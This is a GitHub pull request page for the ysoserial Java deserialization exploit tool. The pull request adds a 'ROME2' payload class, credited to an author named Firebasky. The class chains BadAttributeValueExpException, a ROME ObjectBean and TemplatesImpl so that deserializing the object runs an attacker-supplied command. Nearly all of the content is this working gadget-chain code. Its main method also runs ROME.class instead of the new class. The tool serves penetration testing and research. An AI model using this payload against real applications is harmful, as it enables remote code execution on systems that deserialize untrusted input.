Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New chain about ROME #167

Open
wants to merge 3 commits into
base: newgadgets
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 36 additions & 0 deletions src/main/java/ysoserial/payloads/ROME2.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
package ysoserial.payloads;

import com.sun.syndication.feed.impl.ObjectBean;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;

/**
* @author:Firebasky
* BadAttributeValueExpException.readObject()
* ToStringBean.toString()
* TemplatesImpl.getOutputProperties()
*/

@Dependencies("rome:rome:1.0")
@Authors({ Authors.Firebasky })
public class ROME2 implements ObjectPayload<Object> {

public Object getObject ( String command ) throws Exception {

Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o);
BadAttributeValueExpException b = new BadAttributeValueExpException ("");
Reflections.setFieldValue (b, "val", delegate);
return b;
}

public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(ROME.class, args);
}

}
1 change: 1 addition & 0 deletions src/main/java/ysoserial/payloads/annotation/Authors.java
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,7 @@
String NAVALORENZO = "navalorenzo";
String JANG = "Jang";
String ARTSPLOIT = "artsploit";
String Firebasky = "Firebasky";
String K4n5ha0 = "k4n5ha0";

String[] value() default {};
Expand Down